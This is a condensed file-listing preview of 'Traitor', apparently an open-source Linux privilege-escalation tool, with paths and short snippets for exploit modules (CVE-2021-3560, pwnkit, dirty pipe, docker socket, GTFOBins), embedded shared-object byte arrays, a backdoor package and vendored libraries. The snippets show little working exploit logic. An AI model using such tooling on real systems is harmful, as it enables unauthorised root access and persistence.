function Syscall (line 26) | func Syscall(trap, a1, a2, a3 uintptr) (r1, r2 uintptr, err syscall.Errn...
function Syscall6 (line 33) | func Syscall6(trap, a1, a2, a3, a4, a5, a6 uintptr) (r1, r2 uintptr, err...
function Syscall9 (line 40) | func Syscall9(trap, a1, a2, a3, a4, a5, a6, a7, a8, a9 uintptr) (r1, r2 ...
function RawSyscallNoError (line 47) | func RawSyscallNoError(trap, a1, a2, a3 uintptr) (r1, r2 uintptr) {
function RawSyscall (line 52) | func RawSyscall(trap, a1, a2, a3 uintptr) (r1, r2 uintptr, err syscall.E...
function RawSyscall6 (line 57) | func RawSyscall6(trap, a1, a2, a3, a4, a5, a6 uintptr) (r1, r2 uintptr, ...
FILE: vendor/golang.org/x/sys/unix/gccgo_c.c
type ret (line 19) | struct ret {
type ret (line 24) | struct ret
function gccgoRealSyscall (line 27) | struct ret
function gccgoRealSyscallNoError (line 41) | uintptr_t
FILE: vendor/golang.org/x/sys/unix/gccgo_linux_amd64.go
function realGettimeofday (line 13) | func realGettimeofday(*Timeval, *byte) int32
function gettimeofday (line 15) | func gettimeofday(tv *Timeval) (err syscall.Errno) {
FILE: vendor/golang.org/x/sys/unix/ifreq_linux.go
type Ifreq (line 26) | type Ifreq struct
method Name (line 46) | func (ifr *Ifreq) Name() string {
method Inet4Addr (line 57) | func (ifr *Ifreq) Inet4Addr() ([]byte, error) {
method SetInet4Addr (line 70) | func (ifr *Ifreq) SetInet4Addr(v []byte) error {
method Uint16 (line 91) | func (ifr *Ifreq) Uint16() uint16 {
method SetUint16 (line 96) | func (ifr *Ifreq) SetUint16(v uint16) {
method Uint32 (line 102) | func (ifr *Ifreq
Condensed preview — 567 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (8,436K chars).
[
{
"path": ".github/FUNDING.yml",
"chars": 16,
"preview": "github: [liamg]\n"
},
{
"path": ".github/workflows/antispam.yml",
"chars": 398,
"preview": "name: antispam\n\non:\n issues:\n types:\n - opened\n - edited\n - reopened\n pull_request:\n types:\n "
},
{
"path": ".github/workflows/pr.yml",
"chars": 411,
"preview": "on: [pull_request]\nname: Test\njobs:\n test:\n strategy:\n matrix:\n go-version: [1.18.x]\n os: [ubuntu"
},
{
"path": ".github/workflows/release.yml",
"chars": 3946,
"preview": "name: Test and Release\n\non:\n push:\n # Sequence of patterns matched against refs/tags\n tags:\n - 'v*' # Push e"
},
{
"path": ".gitignore",
"chars": 15,
"preview": "/traitor\n.idea\n"
},
{
"path": "LICENSE",
"chars": 1068,
"preview": "MIT License\n\nCopyright (c) 2021 Liam Galvin\n\nPermission is hereby granted, free of charge, to any person obtaining a cop"
},
{
"path": "Makefile",
"chars": 291,
"preview": "\n\n.PHONY: build\nbuild:\n\tCGO_ENABLED=0 go build ./cmd/traitor\n\n.PHONY: pack\npack:\n\tgo run ./cmd/pack\n\n.PHONY: install\nins"
},
{
"path": "README.md",
"chars": 2468,
"preview": "# Traitor\n\nAutomatically exploit low-hanging fruit to pop a root shell. Linux privilege escalation made easy!\n\nTraitor p"
},
{
"path": "cmd/pack/main.go",
"chars": 2212,
"preview": "package main\n\nimport (\n\t\"bytes\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"os\"\n\t\"os/exec\"\n\t\"path/filepath\"\n)\n\nconst outputDir = \"./pkg/exploi"
},
{
"path": "cmd/traitor/main.go",
"chars": 98,
"preview": "package main\n\nimport (\n\t\"github.com/liamg/traitor/internal/cmd\"\n)\n\nfunc main() {\n\tcmd.Execute()\n}\n"
},
{
"path": "go.mod",
"chars": 504,
"preview": "module github.com/liamg/traitor\n\ngo 1.18\n\nrequire (\n\tgithub.com/creack/pty v1.1.18\n\tgithub.com/google/uuid v1.3.0\n\tgithu"
},
{
"path": "go.sum",
"chars": 2888,
"preview": "github.com/cpuguy83/go-md2man/v2 v2.0.2/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o=\ngithub.com/creack/pty v1."
},
{
"path": "internal/cmd/backdoor.go",
"chars": 1454,
"preview": "package cmd\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\n\t\"github.com/liamg/traitor/pkg/backdoor\"\n\n\t\"github.com/spf13/cobra\"\n)\n\nfunc init() {"
},
{
"path": "internal/cmd/list.go",
"chars": 407,
"preview": "package cmd\n\nimport (\n\t\"fmt\"\n\t\"github.com/liamg/traitor/pkg/exploits\"\n\t\"github.com/spf13/cobra\"\n)\n\n\nfunc init() {\n\trootC"
},
{
"path": "internal/cmd/root.go",
"chars": 4074,
"preview": "package cmd\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"os\"\n\t\"os/user\"\n\n\t\"github.com/liamg/traitor/internal/version\"\n\n\t\"github.com/lia"
},
{
"path": "internal/cmd/setuid.go",
"chars": 1743,
"preview": "package cmd\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\t\"os/exec\"\n\t\"syscall\"\n\t\"time\"\n\n\t\"github.com/spf13/cobra\"\n)\n\nvar setuidShell = \"/bin/s"
},
{
"path": "internal/pipe/pipe.go",
"chars": 1302,
"preview": "package pipe\n\nimport (\n\t\"fmt\"\n\t\"io\"\n\t\"strings\"\n\t\"sync\"\n\t\"time\"\n)\n\ntype LockablePipe struct {\n\tinput io.Reader\n\treceiv"
},
{
"path": "internal/version/version.go",
"chars": 47,
"preview": "package version\n\nvar Version string = \"v0.0.0\"\n"
},
{
"path": "pkg/backdoor/traitor.go",
"chars": 2124,
"preview": "package backdoor\n\nimport (\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"syscall\"\n\n\t\"github.com/liamg/traitor/pkg/random\""
},
{
"path": "pkg/exploits/all.go",
"chars": 565,
"preview": "package exploits\n\nimport (\n\t\"github.com/liamg/traitor/pkg/exploits/cve20213560\"\n\t\"github.com/liamg/traitor/pkg/exploits/"
},
{
"path": "pkg/exploits/cve20213560/exploit.go",
"chars": 9357,
"preview": "package cve20213560\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"io\"\n\t\"math/rand\"\n\t\"os\"\n\t\"os/exec\"\n\t\"os/signal\"\n\t\"os/user\"\n\t\"regexp\"\n\t\""
},
{
"path": "pkg/exploits/cve20214034/exploit.go",
"chars": 4499,
"preview": "package cve20214034\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"os\"\n\t\"os/exec\"\n\t\"path/filepath\"\n\t\"strconv\"\n\t\"strings\"\n\n\t\""
},
{
"path": "pkg/exploits/cve20214034/sharedobject_sh_386.go",
"chars": 49145,
"preview": "//go:build 386\npackage cve20214034\n\nvar pwnkit_sh_sharedobj = []byte{\n 127, 69, 76, 70, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0"
},
{
"path": "pkg/exploits/cve20214034/sharedobject_sh_amd64.go",
"chars": 51457,
"preview": "//go:build amd64\npackage cve20214034\n\nvar pwnkit_sh_sharedobj = []byte{\n 127, 69, 76, 70, 2, 1, 1, 0, 0, 0, 0, 0, 0, 0,"
},
{
"path": "pkg/exploits/cve20214034/sharedobject_sh_arm64.go",
"chars": 29025,
"preview": "//go:build arm64\npackage cve20214034\n\nvar pwnkit_sh_sharedobj = []byte{\n 127, 69, 76, 70, 2, 1, 1, 0, 0, 0, 0, 0, 0, 0,"
},
{
"path": "pkg/exploits/cve20214034/sharedobject_true_386.go",
"chars": 49160,
"preview": "//go:build 386\npackage cve20214034\n\nvar pwnkit_true_sharedobj = []byte{\n 127, 69, 76, 70, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0,"
},
{
"path": "pkg/exploits/cve20214034/sharedobject_true_amd64.go",
"chars": 51466,
"preview": "//go:build amd64\npackage cve20214034\n\nvar pwnkit_true_sharedobj = []byte{\n 127, 69, 76, 70, 2, 1, 1, 0, 0, 0, 0, 0, 0, "
},
{
"path": "pkg/exploits/cve20214034/sharedobject_true_arm64.go",
"chars": 29035,
"preview": "//go:build arm64\npackage cve20214034\n\nvar pwnkit_true_sharedobj = []byte{\n 127, 69, 76, 70, 2, 1, 1, 0, 0, 0, 0, 0, 0, "
},
{
"path": "pkg/exploits/cve20220847/exploit.go",
"chars": 4821,
"preview": "package cve20220847\n\nimport (\n\t\"context\"\n\t\"errors\"\n\t\"fmt\"\n\t\"os\"\n\t\"regexp\"\n\t\"strconv\"\n\t\"strings\"\n\t\"syscall\"\n\n\t\"github.com"
},
{
"path": "pkg/exploits/dockersock/exploit.go",
"chars": 7713,
"preview": "package dockersock\n\nimport (\n\t\"archive/tar\"\n\t\"bytes\"\n\t\"context\"\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"io\"\n\t\"io/ioutil\"\n\t\"net\"\n\t\"net/"
},
{
"path": "pkg/exploits/gtfobins.go",
"chars": 17300,
"preview": "package exploits\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"io\"\n\t\"io/ioutil\"\n\t\"os\"\n\t\"os/exec\"\n\t\"os/signal\"\n\t\"strings\"\n\t\"syscall\"\n\t\"ti"
},
{
"path": "pkg/exploits/registration.go",
"chars": 722,
"preview": "package exploits\n\ntype Speed uint\n\nconst (\n\tSpeedAny Speed = iota\n\tSpeedSlow\n\tSpeedFast\n)\n\ntype Registration struct {\n\tN"
},
{
"path": "pkg/exploits/types.go",
"chars": 592,
"preview": "package exploits\n\nimport (\n\t\"context\"\n\n\t\"github.com/liamg/traitor/pkg/payloads\"\n\n\t\"github.com/liamg/traitor/pkg/logger\"\n"
},
{
"path": "pkg/logger/logger.go",
"chars": 678,
"preview": "package logger\n\nimport (\n\t\"fmt\"\n\n\t\"github.com/liamg/tml\"\n)\n\ntype Logger struct {\n\ttitle string\n\tsilenced bool\n}\n\nfunc"
},
{
"path": "pkg/payloads/payloads.go",
"chars": 88,
"preview": "package payloads\n\ntype Payload string\n\nvar Default Payload = \"/bin/sh\"\nvar Defer Payload"
},
{
"path": "pkg/random/filename.go",
"chars": 558,
"preview": "package random\n\nimport (\n\t\"math/rand\"\n\t\"time\"\n)\n\nfunc init() {\n\trand.Seed(time.Now().UnixNano())\n}\n\nvar filenameRunes = "
},
{
"path": "pkg/shell/password.go",
"chars": 1702,
"preview": "package shell\n\nimport (\n\t\"fmt\"\n\t\"io\"\n\t\"os\"\n\t\"os/exec\"\n\t\"os/signal\"\n\t\"syscall\"\n\t\"time\"\n\n\t\"github.com/creack/pty\"\n\t\"github"
},
{
"path": "pkg/state/distro.go",
"chars": 1085,
"preview": "package state\n\nimport (\n\t\"os/exec\"\n\t\"strings\"\n)\n\ntype DistributionID string\n\nconst (\n\tUnknownLinux DistributionID = \"lin"
},
{
"path": "pkg/state/kernel.go",
"chars": 164,
"preview": "package state\n\nimport \"os\"\n\nfunc kernelVersion() string {\n\tb, err := os.ReadFile(\"/proc/sys/kernel/osrelease\")\n\tif err !"
},
{
"path": "pkg/state/packages.go",
"chars": 470,
"preview": "package state\n\nimport \"os/exec\"\n\nfunc (s *State) IsPackageInstalled(name string) bool {\n\n\tswitch s.DistroID {\n\tcase Debi"
},
{
"path": "pkg/state/state.go",
"chars": 697,
"preview": "package state\n\nimport \"os\"\n\ntype State struct {\n\tHasPassword bool\n\tSudoEntries Sudoers\n\tHostname string\n\tDistro"
},
{
"path": "pkg/state/sudoers.go",
"chars": 2589,
"preview": "package state\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\t\"os/exec\"\n\t\"path\"\n\t\"strings\"\n)\n\nfunc (s *State) processSudoers(hostname string) {\n"
},
{
"path": "vendor/github.com/creack/pty/.gitignore",
"chars": 27,
"preview": "[568].out\n_go*\n_test*\n_obj\n"
},
{
"path": "vendor/github.com/creack/pty/Dockerfile.golang",
"chars": 327,
"preview": "ARG GOVERSION=1.14\nFROM golang:${GOVERSION}\n\n# Set base env.\nARG GOOS=linux\nARG GOARCH=amd64\nENV GOOS=${GOOS} GOARCH=${G"
},
{
"path": "vendor/github.com/creack/pty/Dockerfile.riscv",
"chars": 735,
"preview": "# NOTE: Using 1.13 as a base to build the RISCV compiler, the resulting version is based on go1.6.\nFROM golang:1.13\n\n# C"
},
{
"path": "vendor/github.com/creack/pty/LICENSE",
"chars": 1056,
"preview": "Copyright (c) 2011 Keith Rarick\n\nPermission is hereby granted, free of charge, to any person\nobtaining a copy of this so"
},
{
"path": "vendor/github.com/creack/pty/README.md",
"chars": 2321,
"preview": "# pty\n\nPty is a Go package for using unix pseudo-terminals.\n\n## Install\n\n```sh\ngo get github.com/creack/pty\n```\n\n## Exam"
},
{
"path": "vendor/github.com/creack/pty/asm_solaris_amd64.s",
"chars": 431,
"preview": "// Copyright 2014 The Go Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license "
},
{
"path": "vendor/github.com/creack/pty/doc.go",
"chars": 348,
"preview": "// Package pty provides functions for working with Unix terminals.\npackage pty\n\nimport (\n\t\"errors\"\n\t\"os\"\n)\n\n// ErrUnsupp"
},
{
"path": "vendor/github.com/creack/pty/ioctl.go",
"chars": 325,
"preview": "//go:build !windows && !solaris && !aix\n// +build !windows,!solaris,!aix\n\npackage pty\n\nimport \"syscall\"\n\nconst (\n\tTIOCGW"
},
{
"path": "vendor/github.com/creack/pty/ioctl_bsd.go",
"chars": 1166,
"preview": "//go:build darwin || dragonfly || freebsd || netbsd || openbsd\n// +build darwin dragonfly freebsd netbsd openbsd\n\npackag"
},
{
"path": "vendor/github.com/creack/pty/ioctl_solaris.go",
"chars": 1090,
"preview": "//go:build solaris\n// +build solaris\n\npackage pty\n\nimport (\n\t\"syscall\"\n\t\"unsafe\"\n)\n\n//go:cgo_import_dynamic libc_ioctl i"
},
{
"path": "vendor/github.com/creack/pty/ioctl_unsupported.go",
"chars": 152,
"preview": "//go:build aix\n// +build aix\n\npackage pty\n\nconst (\n\tTIOCGWINSZ = 0\n\tTIOCSWINSZ = 0\n)\n\nfunc ioctl(fd, cmd, ptr uintptr) e"
},
{
"path": "vendor/github.com/creack/pty/mktypes.bash",
"chars": 336,
"preview": "#!/usr/bin/env bash\n\nGOOSARCH=\"${GOOS}_${GOARCH}\"\ncase \"$GOOSARCH\" in\n_* | *_ | _)\n\techo 'undefined $GOOS_$GOARCH:' \"$GO"
},
{
"path": "vendor/github.com/creack/pty/pty_darwin.go",
"chars": 1296,
"preview": "//go:build darwin\n// +build darwin\n\npackage pty\n\nimport (\n\t\"errors\"\n\t\"os\"\n\t\"syscall\"\n\t\"unsafe\"\n)\n\nfunc open() (pty, tty "
},
{
"path": "vendor/github.com/creack/pty/pty_dragonfly.go",
"chars": 1623,
"preview": "//go:build dragonfly\n// +build dragonfly\n\npackage pty\n\nimport (\n\t\"errors\"\n\t\"os\"\n\t\"strings\"\n\t\"syscall\"\n\t\"unsafe\"\n)\n\n// sa"
},
{
"path": "vendor/github.com/creack/pty/pty_freebsd.go",
"chars": 1578,
"preview": "//go:build freebsd\n// +build freebsd\n\npackage pty\n\nimport (\n\t\"errors\"\n\t\"os\"\n\t\"syscall\"\n\t\"unsafe\"\n)\n\nfunc posixOpenpt(ofl"
},
{
"path": "vendor/github.com/creack/pty/pty_linux.go",
"chars": 1207,
"preview": "//go:build linux\n// +build linux\n\npackage pty\n\nimport (\n\t\"os\"\n\t\"strconv\"\n\t\"syscall\"\n\t\"unsafe\"\n)\n\nfunc open() (pty, tty *"
},
{
"path": "vendor/github.com/creack/pty/pty_netbsd.go",
"chars": 1419,
"preview": "//go:build netbsd\n// +build netbsd\n\npackage pty\n\nimport (\n\t\"errors\"\n\t\"os\"\n\t\"syscall\"\n\t\"unsafe\"\n)\n\nfunc open() (pty, tty "
},
{
"path": "vendor/github.com/creack/pty/pty_openbsd.go",
"chars": 811,
"preview": "//go:build openbsd\n// +build openbsd\n\npackage pty\n\nimport (\n\t\"os\"\n\t\"syscall\"\n\t\"unsafe\"\n)\n\nfunc open() (pty, tty *os.File"
},
{
"path": "vendor/github.com/creack/pty/pty_solaris.go",
"chars": 3350,
"preview": "//go:build solaris\n// +build solaris\n\npackage pty\n\n/* based on:\nhttp://src.illumos.org/source/xref/illumos-gate/usr/src/"
},
{
"path": "vendor/github.com/creack/pty/pty_unsupported.go",
"chars": 273,
"preview": "//go:build !linux && !darwin && !freebsd && !dragonfly && !netbsd && !openbsd && !solaris\n// +build !linux,!darwin,!free"
},
{
"path": "vendor/github.com/creack/pty/run.go",
"chars": 1428,
"preview": "package pty\n\nimport (\n\t\"os\"\n\t\"os/exec\"\n\t\"syscall\"\n)\n\n// Start assigns a pseudo-terminal tty os.File to c.Stdin, c.Stdout"
},
{
"path": "vendor/github.com/creack/pty/start.go",
"chars": 670,
"preview": "//go:build !windows\n// +build !windows\n\npackage pty\n\nimport (\n\t\"os\"\n\t\"os/exec\"\n\t\"syscall\"\n)\n\n// StartWithSize assigns a "
},
{
"path": "vendor/github.com/creack/pty/start_windows.go",
"chars": 498,
"preview": "//go:build windows\n// +build windows\n\npackage pty\n\nimport (\n\t\"os\"\n\t\"os/exec\"\n)\n\n// StartWithSize assigns a pseudo-termin"
},
{
"path": "vendor/github.com/creack/pty/test_crosscompile.sh",
"chars": 2062,
"preview": "#!/usr/bin/env sh\n\n# Test script checking that all expected os/arch compile properly.\n# Does not actually test the logic"
},
{
"path": "vendor/github.com/creack/pty/winsize.go",
"chars": 681,
"preview": "package pty\n\nimport \"os\"\n\n// InheritSize applies the terminal size of pty to tty. This should be run\n// in a signal hand"
},
{
"path": "vendor/github.com/creack/pty/winsize_unix.go",
"chars": 879,
"preview": "//go:build !windows\n// +build !windows\n\npackage pty\n\nimport (\n\t\"os\"\n\t\"syscall\"\n\t\"unsafe\"\n)\n\n// Winsize describes the ter"
},
{
"path": "vendor/github.com/creack/pty/winsize_unsupported.go",
"chars": 426,
"preview": "//go:build windows\n// +build windows\n\npackage pty\n\nimport (\n\t\"os\"\n)\n\n// Winsize is a dummy struct to enable compilation "
},
{
"path": "vendor/github.com/creack/pty/ztypes_386.go",
"chars": 148,
"preview": "//go:build 386\n// +build 386\n\n// Created by cgo -godefs - DO NOT EDIT\n// cgo -godefs types.go\n\npackage pty\n\ntype (\n\t_C_i"
},
{
"path": "vendor/github.com/creack/pty/ztypes_amd64.go",
"chars": 152,
"preview": "//go:build amd64\n// +build amd64\n\n// Created by cgo -godefs - DO NOT EDIT\n// cgo -godefs types.go\n\npackage pty\n\ntype (\n\t"
},
{
"path": "vendor/github.com/creack/pty/ztypes_arm.go",
"chars": 148,
"preview": "//go:build arm\n// +build arm\n\n// Created by cgo -godefs - DO NOT EDIT\n// cgo -godefs types.go\n\npackage pty\n\ntype (\n\t_C_i"
},
{
"path": "vendor/github.com/creack/pty/ztypes_arm64.go",
"chars": 152,
"preview": "//go:build arm64\n// +build arm64\n\n// Created by cgo -godefs - DO NOT EDIT\n// cgo -godefs types.go\n\npackage pty\n\ntype (\n\t"
},
{
"path": "vendor/github.com/creack/pty/ztypes_dragonfly_amd64.go",
"chars": 262,
"preview": "//go:build amd64 && dragonfly\n// +build amd64,dragonfly\n\n// Created by cgo -godefs - DO NOT EDIT\n// cgo -godefs types_dr"
},
{
"path": "vendor/github.com/creack/pty/ztypes_freebsd_386.go",
"chars": 220,
"preview": "//go:build 386 && freebsd\n// +build 386,freebsd\n\n// Created by cgo -godefs - DO NOT EDIT\n// cgo -godefs types_freebsd.go"
},
{
"path": "vendor/github.com/creack/pty/ztypes_freebsd_amd64.go",
"chars": 255,
"preview": "//go:build amd64 && freebsd\n// +build amd64,freebsd\n\n// Created by cgo -godefs - DO NOT EDIT\n// cgo -godefs types_freebs"
},
{
"path": "vendor/github.com/creack/pty/ztypes_freebsd_arm.go",
"chars": 220,
"preview": "//go:build arm && freebsd\n// +build arm,freebsd\n\n// Created by cgo -godefs - DO NOT EDIT\n// cgo -godefs types_freebsd.go"
},
{
"path": "vendor/github.com/creack/pty/ztypes_freebsd_arm64.go",
"chars": 235,
"preview": "//go:build arm64 && freebsd\n// +build arm64,freebsd\n\n// Code generated by cmd/cgo -godefs; DO NOT EDIT.\n// cgo -godefs t"
},
{
"path": "vendor/github.com/creack/pty/ztypes_freebsd_ppc64.go",
"chars": 202,
"preview": "// Created by cgo -godefs - DO NOT EDIT\n// cgo -godefs types_freebsd.go\n\npackage pty\n\nconst (\n\t_C_SPECNAMELEN = 0x3f\n)\n\n"
},
{
"path": "vendor/github.com/creack/pty/ztypes_loong64.go",
"chars": 156,
"preview": "//go:build loong64\n// +build loong64\n\n// Created by cgo -godefs - DO NOT EDIT\n// cgo -godefs types.go\n\npackage pty\n\ntype"
},
{
"path": "vendor/github.com/creack/pty/ztypes_mipsx.go",
"chars": 232,
"preview": "//go:build (mips || mipsle || mips64 || mips64le) && linux\n// +build mips mipsle mips64 mips64le\n// +build linux\n\n// Cre"
},
{
"path": "vendor/github.com/creack/pty/ztypes_netbsd_32bit_int.go",
"chars": 263,
"preview": "//go:build (386 || amd64 || arm || arm64) && netbsd\n// +build 386 amd64 arm arm64\n// +build netbsd\n\npackage pty\n\ntype pt"
},
{
"path": "vendor/github.com/creack/pty/ztypes_openbsd_32bit_int.go",
"chars": 236,
"preview": "//go:build (386 || amd64 || arm || arm64 || mips64) && openbsd\n// +build 386 amd64 arm arm64 mips64\n// +build openbsd\n\np"
},
{
"path": "vendor/github.com/creack/pty/ztypes_ppc64.go",
"chars": 152,
"preview": "//go:build ppc64\n// +build ppc64\n\n// Created by cgo -godefs - DO NOT EDIT\n// cgo -godefs types.go\n\npackage pty\n\ntype (\n\t"
},
{
"path": "vendor/github.com/creack/pty/ztypes_ppc64le.go",
"chars": 156,
"preview": "//go:build ppc64le\n// +build ppc64le\n\n// Created by cgo -godefs - DO NOT EDIT\n// cgo -godefs types.go\n\npackage pty\n\ntype"
},
{
"path": "vendor/github.com/creack/pty/ztypes_riscvx.go",
"chars": 182,
"preview": "//go:build riscv || riscv64\n// +build riscv riscv64\n\n// Code generated by cmd/cgo -godefs; DO NOT EDIT.\n// cgo -godefs t"
},
{
"path": "vendor/github.com/creack/pty/ztypes_s390x.go",
"chars": 152,
"preview": "//go:build s390x\n// +build s390x\n\n// Created by cgo -godefs - DO NOT EDIT\n// cgo -godefs types.go\n\npackage pty\n\ntype (\n\t"
},
{
"path": "vendor/github.com/google/uuid/.travis.yml",
"chars": 76,
"preview": "language: go\n\ngo:\n - 1.4.3\n - 1.5.3\n - tip\n\nscript:\n - go test -v ./...\n"
},
{
"path": "vendor/github.com/google/uuid/CONTRIBUTING.md",
"chars": 312,
"preview": "# How to contribute\n\nWe definitely welcome patches and contribution to this project!\n\n### Legal requirements\n\nIn order t"
},
{
"path": "vendor/github.com/google/uuid/CONTRIBUTORS",
"chars": 105,
"preview": "Paul Borman <borman@google.com>\nbmatsuo\nshawnps\ntheory\njboverfelt\ndsymonds\ncd1\nwallclockbuilder\ndansouza\n"
},
{
"path": "vendor/github.com/google/uuid/LICENSE",
"chars": 1480,
"preview": "Copyright (c) 2009,2014 Google Inc. All rights reserved.\n\nRedistribution and use in source and binary forms, with or wit"
},
{
"path": "vendor/github.com/google/uuid/README.md",
"chars": 880,
"preview": "# uuid \nThe uuid package generates and inspects UUID"
},
{
"path": "vendor/github.com/google/uuid/dce.go",
"chars": 2072,
"preview": "// Copyright 2016 Google Inc. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license tha"
},
{
"path": "vendor/github.com/google/uuid/doc.go",
"chars": 407,
"preview": "// Copyright 2016 Google Inc. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license tha"
},
{
"path": "vendor/github.com/google/uuid/hash.go",
"chars": 1756,
"preview": "// Copyright 2016 Google Inc. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license tha"
},
{
"path": "vendor/github.com/google/uuid/marshal.go",
"chars": 907,
"preview": "// Copyright 2016 Google Inc. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license tha"
},
{
"path": "vendor/github.com/google/uuid/node.go",
"chars": 2323,
"preview": "// Copyright 2016 Google Inc. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license tha"
},
{
"path": "vendor/github.com/google/uuid/node_js.go",
"chars": 499,
"preview": "// Copyright 2017 Google Inc. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license tha"
},
{
"path": "vendor/github.com/google/uuid/node_net.go",
"chars": 949,
"preview": "// Copyright 2017 Google Inc. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license tha"
},
{
"path": "vendor/github.com/google/uuid/null.go",
"chars": 2461,
"preview": "// Copyright 2021 Google Inc. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license tha"
},
{
"path": "vendor/github.com/google/uuid/sql.go",
"chars": 1459,
"preview": "// Copyright 2016 Google Inc. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license tha"
},
{
"path": "vendor/github.com/google/uuid/time.go",
"chars": 3509,
"preview": "// Copyright 2016 Google Inc. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license tha"
},
{
"path": "vendor/github.com/google/uuid/util.go",
"chars": 1920,
"preview": "// Copyright 2016 Google Inc. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license tha"
},
{
"path": "vendor/github.com/google/uuid/uuid.go",
"chars": 7712,
"preview": "// Copyright 2018 Google Inc. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license tha"
},
{
"path": "vendor/github.com/google/uuid/version1.go",
"chars": 1257,
"preview": "// Copyright 2016 Google Inc. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license tha"
},
{
"path": "vendor/github.com/google/uuid/version4.go",
"chars": 2054,
"preview": "// Copyright 2016 Google Inc. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license tha"
},
{
"path": "vendor/github.com/hashicorp/go-version/CHANGELOG.md",
"chars": 998,
"preview": "# 1.4.0 (January 5, 2022)\n\nFEATURES:\n\n - Introduce `MustConstraints()` ([#87](https://github.com/hashicorp/go-version/pu"
},
{
"path": "vendor/github.com/hashicorp/go-version/LICENSE",
"chars": 15885,
"preview": "Mozilla Public License, version 2.0\n\n1. Definitions\n\n1.1. “Contributor”\n\n means each individual or legal entity that"
},
{
"path": "vendor/github.com/hashicorp/go-version/README.md",
"chars": 1932,
"preview": "# Versioning Library for Go\n[](http"
},
{
"path": "vendor/github.com/hashicorp/go-version/constraint.go",
"chars": 7157,
"preview": "package version\n\nimport (\n\t\"fmt\"\n\t\"reflect\"\n\t\"regexp\"\n\t\"sort\"\n\t\"strings\"\n)\n\n// Constraint represents a single constraint"
},
{
"path": "vendor/github.com/hashicorp/go-version/version.go",
"chars": 10389,
"preview": "package version\n\nimport (\n\t\"bytes\"\n\t\"fmt\"\n\t\"reflect\"\n\t\"regexp\"\n\t\"strconv\"\n\t\"strings\"\n)\n\n// The compiled regular expressi"
},
{
"path": "vendor/github.com/hashicorp/go-version/version_collection.go",
"chars": 336,
"preview": "package version\n\n// Collection is a type that implements the sort.Interface interface\n// so that versions can be sorted."
},
{
"path": "vendor/github.com/inconshreveable/mousetrap/LICENSE",
"chars": 551,
"preview": "Copyright 2014 Alan Shreve\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file ex"
},
{
"path": "vendor/github.com/inconshreveable/mousetrap/README.md",
"chars": 848,
"preview": "# mousetrap\n\nmousetrap is a tiny library that answers a single question.\n\nOn a Windows machine, was the process invoked "
},
{
"path": "vendor/github.com/inconshreveable/mousetrap/trap_others.go",
"chars": 483,
"preview": "// +build !windows\n\npackage mousetrap\n\n// StartedByExplorer returns true if the program was invoked by the user\n// doubl"
},
{
"path": "vendor/github.com/inconshreveable/mousetrap/trap_windows.go",
"chars": 2393,
"preview": "// +build windows\n// +build !go1.4\n\npackage mousetrap\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\t\"syscall\"\n\t\"unsafe\"\n)\n\nconst (\n\t// defined"
},
{
"path": "vendor/github.com/inconshreveable/mousetrap/trap_windows_1.4.go",
"chars": 1185,
"preview": "// +build windows\n// +build go1.4\n\npackage mousetrap\n\nimport (\n\t\"os\"\n\t\"syscall\"\n\t\"unsafe\"\n)\n\nfunc getProcessEntry(pid in"
},
{
"path": "vendor/github.com/liamg/tml/.gitignore",
"chars": 12,
"preview": "bin\n.vscode\n"
},
{
"path": "vendor/github.com/liamg/tml/.travis.yml",
"chars": 988,
"preview": "language: go\ngo:\n- master\nenv:\n - GO111MODULE=on\nscript:\n- make build-travis\ndeploy:\n - provider: releases\n skip_cl"
},
{
"path": "vendor/github.com/liamg/tml/LICENSE",
"chars": 1212,
"preview": "\nThis is free and unencumbered software released into the public domain.\n\nAnyone is free to copy, modify, publish, use, "
},
{
"path": "vendor/github.com/liamg/tml/Makefile",
"chars": 474,
"preview": "\ndefault: build\n\nbuild: test\n\tmkdir -p bin\n\tgo build ./tml/ -o bin/tml \n\nbuild-travis: test\n\tmkdir -p bin/linux-amd64/tm"
},
{
"path": "vendor/github.com/liamg/tml/README.md",
"chars": 1874,
"preview": "# tml - Terminal Markup Language\n\n[](https://trav"
},
{
"path": "vendor/github.com/liamg/tml/disable.go",
"chars": 307,
"preview": "package tml\n\nimport \"sync\"\n\nvar disableFormatting bool\nvar formattingLock sync.RWMutex\n\nfunc DisableFormatting() {\n\tform"
},
{
"path": "vendor/github.com/liamg/tml/new_line.go",
"chars": 109,
"preview": "package tml\n\n// NewLine prints a new line to the terminal with no content\nfunc NewLine() {\n Println(\"\")\n}\n"
},
{
"path": "vendor/github.com/liamg/tml/parse.go",
"chars": 388,
"preview": "package tml\n\nimport (\n\t\"strings\"\n\t\"bytes\"\n)\n\n// Parse converts the input string (containing TML tags) into a string cont"
},
{
"path": "vendor/github.com/liamg/tml/parser.go",
"chars": 3457,
